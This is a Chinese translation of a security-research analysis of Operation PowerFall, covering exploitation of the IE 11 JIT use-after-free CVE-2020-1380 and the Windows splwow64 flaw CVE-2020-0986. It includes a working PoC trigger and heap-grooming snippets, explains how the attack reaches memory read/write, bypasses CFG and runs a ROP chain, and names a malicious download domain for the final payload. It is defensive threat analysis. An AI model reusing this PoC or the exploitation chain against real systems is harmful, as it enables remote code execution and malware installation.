Operation PowerFall攻击活动中的IE和Windows 0day漏洞 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Operation PowerFall攻击活动中的IE和Windows 0day漏洞

ang010ela 漏洞 2020-09-02 11:20:00
461023
收藏

导语:研究人员在Operation PowerFall攻击活动中发现了一个0 day漏洞——CVE-2020-1380。该漏洞是一个JS中的UAF漏洞,补丁已于2020年8月11日发布。

研究人员在Operation PowerFall攻击活动中发现了一个0 day漏洞——CVE-2020-1380。该漏洞是一个JS中的UAF漏洞,补丁已于2020年8月11日发布。

IE 11远程代码执行漏洞利用

最近发现的在野IE 0 day漏洞利用主要是依赖JavaScript 引擎jscript.dll中CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和 CVE-2018-8653等漏洞。而CVE-2020-1380是jscript9.dll中的漏洞,从IE 9开始默认使用。

CVE-2020-1380是JIT 优化引发的UAF漏洞,是由于即时编译代码中缺乏必要的检查导致的。触发该漏洞的PoC代码如下:

function func(O, A, F, O2) {arguments.push = Array.prototype.push;O = 1;arguments.length = 0;arguments.push(O2);if (F == 1) {O = 2;}// execute abp.valueOf() and write by dangling pointerA[5] = O;};// prepare objectsvar an = new ArrayBuffer(0x8c);var fa = new Float32Array(an);// compile funcfunc(1, fa, 1, {});for (var i = 0; i < 0x10000; i++) {func(1, fa, 1, 1);}var abp = {};abp.valueOf = function() {// freeworker = new Worker('worker.js');worker.postMessage(an, [an]);worker.terminate();worker = null;// sleepvar start = Date.now();while (Date.now() - start < 200) {}// TODO: reclaim freed memoryreturn 0};try {func(1, fa, 0, abp);} catch (e) {reload()}

为更好地理解该漏洞,首先要了解func()的执行原理。其中最重要的是理解A[5]的设定值。从代码来看,应该是O参数。函数启动后,O 参数会被重新分配为1,然后函数参数长度会被设置为0。该操作并不会清除函数参数,但允许使用Array.prototype.push将参数O2放置到index 0的参数列表中,也就是说O = O2。此外,如果参数F等于1,参数O就会被重新分配为2。也就是说,根据参数F的值,参数O等于O2或2。参数A 是32位浮点数数组,在分配给index 5值之前,该值会转化为浮点数。

漏洞利用使用对象abp和valueOf()方法。该方法在对象转化为浮点数时执行,但是该方法中有释放ArrayBuffer的代码。为了防止值保持在释放的对象的内存中,JS引擎在保持该值之前需要检查对象的状态。为了安全地转化和保持浮点值,JScript9.dll会使用函数Js::TypedArray

int Js::TypedArray::BaseTypedDirectSetItem(Js::TypedArray *this, unsigned int index, void *object, int reserved){Js::JavascriptConversion::ToNumber(object, this->type->library->context);if ( LOBYTE(this->view[0]->unusable) )Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);if ( index < this->count ){*(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(object,this->type->library->context);}return 1;}double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context){if ( (unsigned char)object & 1 )return (double)((int)object >> 1);if ( *(void **)object == VirtualTableInfo::Address[0] )return *((double *)object + 1);return Js::JavascriptConversion::ToNumber_Full(object, context);

函数会检查数组的view[0]->unusable和count域,ArrayBuffer在valueOf() 方法执行时会被释放,因为首次调用Js::JavascriptConversion::ToNumber()时,view[0]->unusable被设置为1,count被设置为0,因此这两个域的检查都会失败。因为函数Js::TypedArray

当函数func()编译时,JS 引擎会使用有漏洞的代码,如下所示:

if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray::vftable ){if ( floatArray->count > index ){buffer = floatArray->buffer + 4*index;if ( object & 1 ){*(float *)buffer = (double)(object >> 1);}else{if ( *(void *)object != &Js::JavascriptNumber::vftable ){Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);}else{*(float *)buffer = *(double *)(object->value);}}}}

以下是Js::JavascriptConversion::ToFloat_Helper() 函数的代码:

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context){*buffer = Js::JavascriptConversion::ToNumber_Full(object, context);}

与翻译模式不同的是,在实时编译的代码中,并不会检查ArrayBuffer,其内存会被释放然后在valueOf()函数被调用时重新声明。此外,攻击者可以控制返回值要写入的index。当PoC 中的arguments.length = 0;和arguments.push(O2); 被替换为arguments[0] = O2;时,Js::JavascriptConversion::ToFloat_Helper()并不会触发漏洞,因为调用会被禁用,也不会执行到valueOf()的调用。

为了确保函数func()即时编译,漏洞利用执行了该函数0x10000次,只有在func()函数多执行一次后才会触发漏洞。为了释放ArrayBuffer,漏洞利用会滥用Web Workers API。函数postMessage() 会用来序列号对象并发送。转化的对象被释放后,在当前脚本环境中会无法使用。当ArrayBuffer被释放时,漏洞利用会通过模拟Sleep()函数的使用来触发垃圾回收:检查Date.now()和之前保存的值之间的时间间隔。之后,漏洞利用会声明含有整数数组的内存。

for (var i = 0; i < T.length; i += 1) {T[i] = new Array((0x1000 - 0x20) / 4);T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket}

在创建了大量的数组后,IE就会分配IE定制堆首先使用的新的LargeHeapBlock 对象。LargeHeapBlock对象会保存为数组分配的缓存地址。如果成功获得期望的内存布局,漏洞就会用0覆写LargeHeapBlock的偏移量0x14,即分配的区块数。

jscript9.dll x86的LargeHeapBlock结构

之后,漏洞利用会分配大量的数组,并设置为漏洞利用初始阶段准备的另一个数组。然后该数组会设置为null,漏洞利用会调用CollectGarbage()函数。导致堆的碎片重新整理,修改后的LargeHeapBlock和相关的数组缓存都会释放。此时,漏洞利用会创建大量的整数数组来重新声明之前释放的数组缓存。新创建的数组在index 0处有一个值,并通过到之前释放的数组的指针来检查漏洞利用是否成功。

for (var i = 0; i < K.length; i += 1) {K[i] = new Array((0x1000 - 0x20) / 4);K[i][0] = 0x888; // store magic}for (var i = 0; i < T.length; i += 1) {if (T[i][0] == 0x888) { // find array accessible through dangling pointerR = T[i];break;}}

因此,漏洞利用会创建两个指向相同位置的缓存的JavascriptNativeIntArray对象。因此可以提取对象的地址,甚至创建新构造的对象。漏洞利用使用了这些原语来创建了一个构造的DataView 对象,并获取了进程整个地址空间的读写权限。

利用任意读写原语的构造可以绕过Control Flow Guard (CFG)和实现代码执行。漏洞利用使用Array的vftable指针来获得jscript9.dll的模块基地址。然后分析jscript9.dll的PE header来获取Import Directory Table的地址,并解析其他模块的基地址。目标是找到函数VirtualProtect()的地址,这会将shellcode变得可以执行。之后,漏洞利用会在jscript9.dll中搜索2个签名。这些签名对应Unicode字符串split的地址和函数JsUtil::DoublyLinkedListElement

之后进入下一个阶段。漏洞利用会执行split()方法,并提供一个含有覆写的valueOf()方法的对象作为限制参数。函数Js::JavascriptString::EntrySplit()在执行过程中valueOf()方法也会执行,漏洞利用会搜索线程的栈来找到返回的地址,并shellcode放置在之前的缓存中,获取其地址,并通过覆写函数的返回地址来构造一个return-oriented programming (ROP)链来执行shellcode。

下一个阶段

Shellcode是加到shellcode的PE模块的反射型DLL加载器。该模块非常小,整个功能位于单独的函数中。并在临时文件夹中创建一个名为ok.exe的文件,并将远程代码执行漏洞利用中的另一个可执行文件的内容写入。之后,执行ok.exe。

ok.exe可执行文件中含有GDI Print / Print Spooler API中任意指针简接引用漏洞CVE-2020-0986的权限提升漏洞利用。该漏洞利用可以使用进程间通信来实现splwow64.exe进程的任意内存读写,并用它来实现splwow64.exe进程的代码执行,绕过CFG 和EncodePointer保护。漏洞利用以及两个可仔细文件都会嵌入到其资源中。第一个可执行文件会写入磁盘中(CreateDC.exe),然后用来创建漏洞利用所需的设备环境(device context)。第二个可执行文件名为PoPc.dll,如果漏洞利用成功,splwow64.exe就会执行。

来自splwow64.exe的恶意PowerShell 命令执行

PoPc.dll的主要功能位于单个函数中,执行一个编码的PowerShell命令来从www[.]static-cdn1[.]com/update.zip下载文件,并以upgrader.exe保存到临时文件中并执行。

本文翻译自:https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务